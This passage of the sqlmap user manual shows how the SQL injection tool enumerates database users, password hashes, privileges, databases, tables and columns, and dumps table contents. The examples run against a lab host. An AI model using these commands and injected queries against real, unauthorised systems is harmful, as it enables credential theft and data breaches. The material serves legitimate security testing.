effectively performing the query on the database from the web application.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --current-user -v 0
|
|
|
|
current user: 'testuser@localhost'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Current database</H3>
|
|
|
|
<P>Option: <CODE>--current-db</CODE></P>
|
|
|
|
<P>It is possible to retrieve the database management system's database the
|
|
web application is connected to.</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2000 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --current-db -v 0
|
|
|
|
current database: 'master'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Detect if the DBMS current user is a database administrator</H3>
|
|
|
|
<P>Option: <CODE>--is-dba</CODE></P>
|
|
|
|
<P>It is possible to detect if the database management system session user is
|
|
a database administrator.</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --is-dba -v 1
|
|
|
|
[...]
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[hh:mm:49] [INFO] testing if current user is DBA
|
|
[hh:mm:49] [INFO] query: SELECT (CASE WHEN ((SELECT usesuper=true FROM pg_user WHERE
|
|
usename=CURRENT_USER OFFSET 0 LIMIT 1)) THEN 1 ELSE 0 END)
|
|
[hh:mm:49] [INFO] retrieved: 1
|
|
[hh:mm:50] [INFO] performed 13 queries in 0 seconds
|
|
current user is DBA: 'True'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on an <B>Oracle XE 10.2.0.1</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --is-dba -v 1
|
|
|
|
[...]
|
|
back-end DBMS: Oracle
|
|
|
|
[16:40:57] [INFO] testing if current user is DBA
|
|
[16:40:58] [INFO] query: SELECT (CASE WHEN ((SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE
|
|
GRANTEE=SYS.LOGIN_USER AND GRANTED_ROLE=CHR(68)||CHR(66)||CHR(65))=CHR(68)||CHR(66)||CHR(65))
|
|
THEN 1 ELSE 0 END) FROM DUAL
|
|
[16:40:58] [INFO] retrieved: 1
|
|
[16:40:58] [INFO] performed 13 queries in 0 seconds
|
|
current user is DBA: 'True'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Users</H3>
|
|
|
|
<P>Option: <CODE>--users</CODE></P>
|
|
|
|
<P>It is possible to enumerate the list of database management system users.</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --users -v 0
|
|
|
|
database management system users [3]:
|
|
[*] postgres
|
|
[*] testuser
|
|
[*] testuser2
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Users password hashes</H3>
|
|
|
|
<P>Options: <CODE>--passwords</CODE> and <CODE>-U</CODE></P>
|
|
|
|
<P>It is possible to enumerate the password hashes for each database
|
|
management system user.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --passwords -v 0
|
|
|
|
[*] debian-sys-maint [1]:
|
|
password hash: *BBDC22D2B1E18F8628B2922864A621B32A1B1892
|
|
[*] root [1]:
|
|
password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
|
|
[*] testuser [1]:
|
|
password hash: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>You can also provide the <CODE>-U</CODE> option to specify the user who you
|
|
want to enumerate the password hashes.</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2000 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --passwords \
|
|
-U sa -v 0
|
|
|
|
database management system users password hashes:
|
|
[*] sa [1]:
|
|
password hash: 0x01000e16d704aa252b7c38d1aeae18756e98172f4b34104d8ee32c2f01b293b03edb7491f
|
|
ba9930b62ee5d506955
|
|
header: 0x0100
|
|
salt: 0e16d704
|
|
mixedcase: aa252b7c38d1aeae18756e98172f4b34104d8ee3
|
|
uppercase: 2c2f01b293b03edb7491fba9930b62ee5d506955
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, when you enumerate password hashes on Microsoft SQL Server
|
|
sqlmap split the hash, useful if you want to crack it.</P>
|
|
|
|
<P>If you provide <CODE>CU</CODE> as username it will consider it as an alias for
|
|
current user and will retrieve the password hashes for this user.</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --passwords \
|
|
-U CU -v 1
|
|
|
|
[...]
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[hh:mm:48] [INFO] fetching current user
|
|
[hh:mm:48] [INFO] query: COALESCE(CAST(CURRENT_USER AS CHARACTER(10000)), CHR(32))
|
|
[hh:mm:48] [INFO] retrieved: postgres
|
|
[hh:mm:49] [INFO] performed 62 queries in 0 seconds
|
|
[hh:mm:49] [INFO] fetching database users password hashes for current user
|
|
[hh:mm:49] [INFO] fetching number of password hashes for user 'postgres'
|
|
[hh:mm:49] [INFO] query: SELECT COALESCE(CAST(COUNT(DISTINCT(passwd)) AS CHARACTER(10000)),
|
|
CHR(32)) FROM pg_shadow WHERE usename=CHR(112)||CHR(111)||CHR(115)||CHR(116)||CHR(103)||
|
|
CHR(114)||CHR(101)||CHR(115)
|
|
[hh:mm:49] [INFO] retrieved: 1
|
|
[hh:mm:49] [INFO] performed 13 queries in 0 seconds
|
|
[hh:mm:49] [INFO] fetching password hashes for user 'postgres'
|
|
[hh:mm:49] [INFO] query: SELECT DISTINCT(COALESCE(CAST(passwd AS CHARACTER(10000)),
|
|
CHR(32))) FROM pg_shadow WHERE usename=CHR(112)||CHR(111)||CHR(115)||CHR(116)||CHR(103)||
|
|
CHR(114)||CHR(101)||CHR(115) OFFSET 0 LIMIT 1
|
|
[hh:mm:49] [INFO] retrieved: md5d7d880f96044b72d0bba108ace96d1e4
|
|
[hh:mm:51] [INFO] performed 251 queries in 2 seconds
|
|
database management system users password hashes:
|
|
[*] postgres [1]:
|
|
password hash: md5d7d880f96044b72d0bba108ace96d1e4
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Users privileges</H3>
|
|
|
|
<P>Options: <CODE>--privileges</CODE> and <CODE>-U</CODE></P>
|
|
|
|
<P>It is possible to enumerate the privileges for each database management
|
|
system user.</P>
|
|
|
|
<P>Example on an <B>Oracle XE 10.2.0.1</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --privileges -v 0
|
|
|
|
[hh:mm:25] [WARNING] unable to retrieve the number of privileges for user 'ANONYMOUS'
|
|
[hh:mm:28] [WARNING] unable to retrieve the number of privileges for user 'DIP'
|
|
database management system users privileges:
|
|
[*] CTXSYS [2]:
|
|
privilege: CTXAPP
|
|
privilege: RESOURCE
|
|
[*] DBSNMP [1]:
|
|
privilege: OEM_MONITOR
|
|
[*] FLOWS_020100 (administrator) [4]:
|
|
privilege: CONNECT
|
|
privilege: DBA
|
|
privilege: RESOURCE
|
|
privilege: SELECT_CATALOG_ROLE
|
|
[*] FLOWS_FILES [2]:
|
|
privilege: CONNECT
|
|
privilege: RESOURCE
|
|
[*] HR (administrator) [3]:
|
|
privilege: CONNECT
|
|
privilege: DBA
|
|
privilege: RESOURCE
|
|
[*] MDSYS [2]:
|
|
privilege: CONNECT
|
|
privilege: RESOURCE
|
|
[*] OUTLN [1]:
|
|
privilege: RESOURCE
|
|
[*] SYS (administrator) [22]:
|
|
privilege: AQ_ADMINISTRATOR_ROLE
|
|
privilege: AQ_USER_ROLE
|
|
privilege: AUTHENTICATEDUSER
|
|
privilege: CONNECT
|
|
privilege: CTXAPP
|
|
privilege: DBA
|
|
privilege: DELETE_CATALOG_ROLE
|
|
privilege: EXECUTE_CATALOG_ROLE
|
|
privilege: EXP_FULL_DATABASE
|
|
privilege: GATHER_SYSTEM_STATISTICS
|
|
privilege: HS_ADMIN_ROLE
|
|
privilege: IMP_FULL_DATABASE
|
|
privilege: LOGSTDBY_ADMINISTRATOR
|
|
privilege: OEM_ADVISOR
|
|
privilege: OEM_MONITOR
|
|
privilege: PLUSTRACE
|
|
privilege: RECOVERY_CATALOG_OWNER
|
|
privilege: RESOURCE
|
|
privilege: SCHEDULER_ADMIN
|
|
privilege: SELECT_CATALOG_ROLE
|
|
privilege: XDBADMIN
|
|
privilege: XDBWEBSERVICES
|
|
[*] SYSTEM (administrator) [2]:
|
|
privilege: AQ_ADMINISTRATOR_ROLE
|
|
privilege: DBA
|
|
[*] TSMSYS [1]:
|
|
privilege: RESOURCE
|
|
[*] XDB [2]:
|
|
privilege: CTXAPP
|
|
privilege: RESOURCE
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>You can also provide the <CODE>-U</CODE> option to specify the user who you
|
|
want to enumerate the privileges.</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --privileges \
|
|
-U postgres -v 0
|
|
|
|
database management system users privileges:
|
|
[*] postgres (administrator) [3]:
|
|
privilege: catupd
|
|
privilege: createdb
|
|
privilege: super
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, depending on the user privileges, sqlmap identifies if the
|
|
user is a database management system administrator and show next to the
|
|
username this information.</P>
|
|
|
|
<P>If you provide <CODE>CU</CODE> as username it will consider it as an alias for
|
|
current user and will enumerate the privileges for this user.</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --passwords \
|
|
-U CU -v 1
|
|
|
|
[...]
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[hh:mm:25] [INFO] fetching current user
|
|
[hh:mm:25] [INFO] query: COALESCE(CAST(CURRENT_USER AS CHARACTER(10000)), CHR(32))
|
|
[hh:mm:25] [INFO] retrieved: postgres
|
|
[hh:mm:25] [INFO] performed 62 queries in 0 seconds
|
|
[hh:mm:25] [INFO] fetching database users privileges for current user
|
|
[hh:mm:25] [INFO] fetching number of privileges for user 'postgres'
|
|
[hh:mm:25] [INFO] query: SELECT COALESCE(CAST(COUNT(DISTINCT(usename)) AS CHARACTER(10000)),
|
|
CHR(32)) FROM pg_user WHERE usename=CHR(112)||CHR(111)||CHR(115)||CHR(116)||CHR(103)||
|
|
CHR(114)||CHR(101)||CHR(115)
|
|
[hh:mm:25] [INFO] retrieved: 1
|
|
[hh:mm:25] [INFO] performed 13 queries in 0 seconds
|
|
[hh:mm:25] [INFO] fetching privileges for user 'postgres'
|
|
[hh:mm:25] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it
|
|
into distinct queries to be able to retrieve the output even if we are going blind
|
|
[hh:mm:25] [INFO] query: SELECT COALESCE(CAST((CASE WHEN usecreatedb THEN 1 ELSE 0 END) AS
|
|
CHARACTER(10000)), CHR(32)) FROM pg_user WHERE usename=CHR(112)||CHR(111)||CHR(115)||
|
|
CHR(116)||CHR(103)||CHR(114)||CHR(101)||CHR(115) OFFSET 0 LIMIT 1
|
|
[hh:mm:25] [INFO] retrieved: 1
|
|
[hh:mm:25] [INFO] performed 13 queries in 0 seconds
|
|
[hh:mm:25] [INFO] query: SELECT COALESCE(CAST((CASE WHEN usesuper THEN 1 ELSE 0 END) AS
|
|
CHARACTER(10000)), CHR(32)) FROM pg_user WHERE usename=CHR(112)||CHR(111)||CHR(115)||
|
|
CHR(116)||CHR(103)||CHR(114)||CHR(101)||CHR(115) OFFSET 0 LIMIT 1
|
|
[hh:mm:25] [INFO] retrieved: 1
|
|
[hh:mm:25] [INFO] performed 13 queries in 0 seconds
|
|
[hh:mm:25] [INFO] query: SELECT COALESCE(CAST((CASE WHEN usecatupd THEN 1 ELSE 0 END) AS
|
|
CHARACTER(10000)), CHR(32)) FROM pg_user WHERE usename=CHR(112)||CHR(111)||CHR(115)||
|
|
CHR(116)||CHR(103)||CHR(114)||CHR(101)||CHR(115) OFFSET 0 LIMIT 1
|
|
[hh:mm:25] [INFO] retrieved: 1
|
|
[hh:mm:25] [INFO] performed 13 queries in 0 seconds
|
|
database management system users privileges:
|
|
[*] postgres (administrator) [3]:
|
|
privilege: catupd
|
|
privilege: createdb
|
|
privilege: super
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Note that this feature is not available if the back-end database
|
|
management system is Microsoft SQL Server.</P>
|
|
|
|
|
|
<H3>Available databases</H3>
|
|
|
|
<P>Option: <CODE>--dbs</CODE></P>
|
|
|
|
<P>It is possible to enumerate the list of databases.</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2000 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dbs -v 0
|
|
|
|
available databases [6]:
|
|
[*] master
|
|
[*] model
|
|
[*] msdb
|
|
[*] Northwind
|
|
[*] pubs
|
|
[*] tempdb
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Note that this feature is not available if the back-end database
|
|
management system is Oracle.</P>
|
|
|
|
<H3>Databases tables</H3>
|
|
|
|
<P>Options: <CODE>--tables</CODE> and <CODE>-D</CODE></P>
|
|
|
|
<P>It is possible to enumerate the list of tables for all database
|
|
manangement system's databases.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --tables -v 0
|
|
|
|
Database: test
|
|
[1 table]
|
|
+---------------------------------------+
|
|
| users |
|
|
+---------------------------------------+
|
|
|
|
Database: information_schema
|
|
[17 tables]
|
|
+---------------------------------------+
|
|
| CHARACTER_SETS |
|
|
| COLLATION_CHARACTER_SET_APPLICABILITY |
|
|
| COLLATIONS |
|
|
| COLUMN_PRIVILEGES |
|
|
| COLUMNS |
|
|
| KEY_COLUMN_USAGE |
|
|
| PROFILING |
|
|
| ROUTINES |
|
|
| SCHEMA_PRIVILEGES |
|
|
| SCHEMATA |
|
|
| STATISTICS |
|
|
| TABLE_CONSTRAINTS |
|
|
| TABLE_PRIVILEGES |
|
|
| TABLES |
|
|
| TRIGGERS |
|
|
| USER_PRIVILEGES |
|
|
| VIEWS |
|
|
+---------------------------------------+
|
|
|
|
Database: mysql
|
|
[17 tables]
|
|
+---------------------------------------+
|
|
| columns_priv |
|
|
| db |
|
|
| func |
|
|
| help_category |
|
|
| help_keyword |
|
|
| help_relation |
|
|
| help_topic |
|
|
| host |
|
|
| proc |
|
|
| procs_priv |
|
|
| tables_priv |
|
|
| time_zone |
|
|
| time_zone_leap_second |
|
|
| time_zone_name |
|
|
| time_zone_transition |
|
|
| time_zone_transition_type |
|
|
| user |
|
|
+---------------------------------------+
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>You can also provide the <CODE>-D</CODE> option to specify the database
|
|
that you want to enumerate the tables.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --tables \
|
|
-D test -v 0
|
|
|
|
Database: test
|
|
[1 table]
|
|
+---------------------------------------+
|
|
| users |
|
|
+---------------------------------------+
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on an <B>Oracle XE 10.2.0.1</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --tables \
|
|
-D users -v 0
|
|
|
|
Database: USERS
|
|
[8 tables]
|
|
+-------------------+
|
|
| DEPARTMENTS |
|
|
| EMPLOYEES |
|
|
| HTMLDB_PLAN_TABLE |
|
|
| JOB_HISTORY |
|
|
| JOBS |
|
|
| LOCATIONS |
|
|
| REGIONS |
|
|
| USERS |
|
|
+-------------------+
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Note that on Oracle you have to provide the <CODE>TABLESPACE_NAME</CODE>
|
|
instead of the database name, in my example that is <CODE>users</CODE> to
|
|
retrieve all tables owned by an Oracle database management system
|
|
user.</P>
|
|
|
|
|
|
<H3>Database table columns</H3>
|
|
|
|
<P>Options: <CODE>--columns</CODE>, <CODE>-T</CODE> and <CODE>-D</CODE></P>
|
|
|
|
<P>It is possible to enumerate the list of columns for a specific database
|
|
table.
|
|
This functionality depends on the <CODE>-T</CODE> to specify the table name
|
|
and optionally on <CODE>-D</CODE> to specify the database name.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --columns \
|
|
-T users -D test -v 1
|
|
|
|
[...]
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
[hh:mm:25] [WARNING] missing database parameter, sqlmap is going to use the current
|
|
database to enumerate table 'users' columns
|
|
[hh:mm:25] [INFO] fetching current database
|
|
[hh:mm:25] [INFO] query: IFNULL(CAST(DATABASE() AS CHAR(10000)), CHAR(32))
|
|
[hh:mm:25] [INFO] retrieved: test
|
|
[hh:mm:25] [INFO] performed 34 queries in 0 seconds
|
|
[hh:mm:25] [INFO] fetching columns for table 'users' on database 'test'
|
|
[hh:mm:25] [INFO] fetching number of columns for table 'users' on database 'test'
|
|
[...]
|
|
Database: test
|
|
Table: users
|
|
[3 columns]
|
|
+---------+-------------+
|
|
| Column | Type |
|
|
+---------+-------------+
|
|
| id | int(11) |
|
|
| name | varchar(40) |
|
|
| surname | varchar(60) |
|
|
+---------+-------------+
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2000 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --columns \
|
|
-T users -D master -v 0
|
|
|
|
Database: master
|
|
Table: users
|
|
[3 columns]
|
|
+---------+---------+
|
|
| Column | Type |
|
|
+---------+---------+
|
|
| id | int |
|
|
| name | varchar |
|
|
| surname | varchar |
|
|
+---------+---------+
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --columns \
|
|
-T users -D public -v 0
|
|
|
|
Database: public
|
|
Table: users
|
|
[3 columns]
|
|
+---------+--------+
|
|
| Column | Type |
|
|
+---------+--------+
|
|
| id | int4 |
|
|
| name | bpchar |
|
|
| surname | bpchar |
|
|
+---------+--------+
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Note that on PostgreSQL you have to provide <CODE>public</CODE> or the
|
|
name of a system database because it is not possible to enumerate other
|
|
databases tables, only the tables under the schema that the web
|
|
application's user is connected to, which is always <CODE>public</CODE>.</P>
|
|
|
|
<P>If the database name is not specified, the current database name is used.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --columns \
|
|
-T users -v 1
|
|
|
|
[...]
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
[hh:mm:13] [WARNING] missing database parameter, sqlmap is going to use the current
|
|
database to enumerate table 'users' columns
|
|
[hh:mm:13] [INFO] fetching current database
|
|
[hh:mm:13] [INFO] query: IFNULL(CAST(DATABASE() AS CHAR(10000)), CHAR(32))
|
|
[hh:mm:13] [INFO] retrieved: test
|
|
[hh:mm:13] [INFO] performed 34 queries in 0 seconds
|
|
[hh:mm:13] [INFO] fetching columns for table 'users' on database 'test'
|
|
[hh:mm:13] [INFO] fetching number of columns for table 'users' on database 'test'
|
|
[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32))
|
|
FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
|
|
table_schema=CHAR(116,101,115,116)
|
|
[hh:mm:13] [INFO] retrieved: 3
|
|
[hh:mm:13] [INFO] performed 13 queries in 0 seconds
|
|
[...]
|
|
Database: test
|
|
Table: users
|
|
[3 columns]
|
|
+---------+-------------+
|
|
| Column | Type |
|
|
+---------+-------------+
|
|
| id | int(11) |
|
|
| name | varchar(40) |
|
|
| surname | varchar(60) |
|
|
+---------+-------------+
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Dump database table entries</H3>
|
|
|
|
<P>Options: <CODE>--dump</CODE>, <CODE>-C</CODE>, <CODE>-T</CODE>, <CODE>-D</CODE>,
|
|
<CODE>--start</CODE> and <CODE>--stop</CODE></P>
|
|
|
|
<P>It is possible to dump the entries for a specific database table.
|
|
This functionality depends on the <CODE>-T</CODE> to specify the table name
|
|
and optionally on <CODE>-D</CODE> to specify the database name.
|
|
If the database name is not specified, the current database name is used.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump \
|
|
-T users -v 1
|
|
|
|
[...]
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
[hh:mm:13] [WARNING] missing database parameter, sqlmap is going to use the current
|
|
database to dump table 'users' entries
|
|
[hh:mm:13] [INFO] fetching current database
|
|
[hh:mm:13] [INFO] query: IFNULL(CAST(DATABASE() AS CHAR(10000)), CHAR(32))
|
|
[hh:mm:13] [INFO] retrieved: test
|
|
[hh:mm:13] [INFO] performed 34 queries in 0 seconds
|
|
[hh:mm:13] [INFO] fetching columns for table 'users' on database 'test'
|
|
[hh:mm:13] [INFO] fetching number of columns for table 'users' on database 'test'
|
|
[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32))
|
|
FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
|
|
table_schema=CHAR(116,101,115,116)
|
|
[hh:mm:13] [INFO] retrieved: 3
|
|
[hh:mm:13] [INFO] performed 13 queries in 0 seconds
|
|
[...]
|
|
Database: test
|
|
Table: users
|
|
[5 entries]
|
|
+----+----------------------------------------------+-------------------+
|
|
| id | name | surname |
|
|
+----+----------------------------------------------+-------------------+
|
|
| 1 | luther | blissett |
|
|
| 2 | fluffy | bunny |
|
|
| 3 | wu | ming |
|
|
| 4 | sqlmap/0.6.4 (http://sqlmap.sourceforge.net) | user agent header |
|
|
| 5 | NULL | nameisnull |
|
|
+----+----------------------------------------------+-------------------+
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>You can also provide the <CODE>-C</CODE> option to specify the table column
|
|
that you want to enumerate the entries.</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2000 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump \
|
|
-T users -D master -C surname -v 0
|
|
|
|
Database: master
|
|
Table: users
|
|
[5 entries]
|
|
+-------------------+
|
|
| surname |
|
|
+-------------------+
|
|
| blisset |
|
|
| bunny |
|
|
| ming |
|
|
| nameisnull |
|
|
| user agent header |
|
|
+-------------------+
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>sqlmap also stores for each table the dumped entries in a CSV format file.
|
|
You can see the absolute path where it stored the dumped tables entries
|
|
by providing a verbosity level greater than or equal to 1.</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --dump \
|
|
-T users -D public -v 1
|
|
|
|
[...]
|
|
Database: public
|
|
Table: users
|
|
[5 entries]
|
|
+----+----------------------------------------------+-------------------+
|
|
| id | name | surname |
|
|
+----+----------------------------------------------+-------------------+
|
|
| 1 | luther | blissett |
|
|
| 2 | fluffy | bunny |
|
|
| 3 | wu | ming |
|
|
| 4 | sqlmap/0.6.4 (http://sqlmap.sourceforge.net) | user agent header |
|
|
| 5 | | nameisnull |
|
|
+----+----------------------------------------------+-------------------+
|
|
|
|
[hh:mm:59] [INFO] Table 'public.users' dumped to CSV file '/software/sqlmap/output/
|
|
192.168.1.121/dump/public/users.csv'
|
|
[...]
|
|
|
|
$ cat /software/sqlmap/output/192.168.1.121/dump/public/users.csv
|
|
"id","name","surname"
|
|
"1","luther","blissett"
|
|
"2","fluffy","bunny"
|
|
"3","wu","ming"
|
|
"4","sqlmap/0.6.4 (http://sqlmap.sourceforge.net)","user agent header"
|
|
"5","","nameisnull"
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>You can also provide the <CODE>--start</CODE> and/or the <CODE>--stop</CODE>
|
|
options to limit the dump to a range of entries.</P>
|
|
<P>
|
|
<UL>
|
|
<LI><CODE>--start</CODE> specifies the first entry to enumerate</LI>
|
|
<LI><CODE>--stop</CODE> specifies the last entry to enumerate</LI>
|
|
</UL>
|
|
</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump \
|
|
-T users -D test --start 2 --stop 4 -v 0
|
|
|
|
Database: test
|
|
Table: users
|
|
[3 entries]
|
|
+----+----------------------------------------------+-------------------+
|
|
| id | name | surname |
|
|
+----+----------------------------------------------+-------------------+
|
|
| 2 | fluffy | bunny |
|
|
| 3 | wu | ming |
|
|
| 4 | sqlmap/0.6.4 (http://sqlmap.sourceforge.net) | user agent header |
|
|
+----+----------------------------------------------+-------------------+
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, sqlmap is very flexible: you can leave it automatically
|
|
enumerate the whole database table up to a single column of a specific
|
|
table entry.</P>
|
|
|
|
|
|
<H3>Dump all databases tables entries</H3>
|
|
|
|
<P>Options: <CODE>--dump-all</CODE> and <CODE>--exclude-sysdbs</CODE></P>
|
|
|
|
<P>It is possible to dump all databases tables entries at once.</P>
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump-all -v 0
|
|
|
|
Database: test
|
|
Table: users
|
|
[5 entries]
|
|
+----+----------------------------------------------+-------------------+
|
|
| id | name | surname |
|
|
+----+----------------------------------------------+-------------------+
|
|
| 1 | luther | blissett |
|
|
| 2 | fluffy | bunny |
|
|
| 3 | wu | ming |
|
|
| 4 | sqlmap/0.6.4 (http://sqlmap.sourceforge.net) | user agent header |
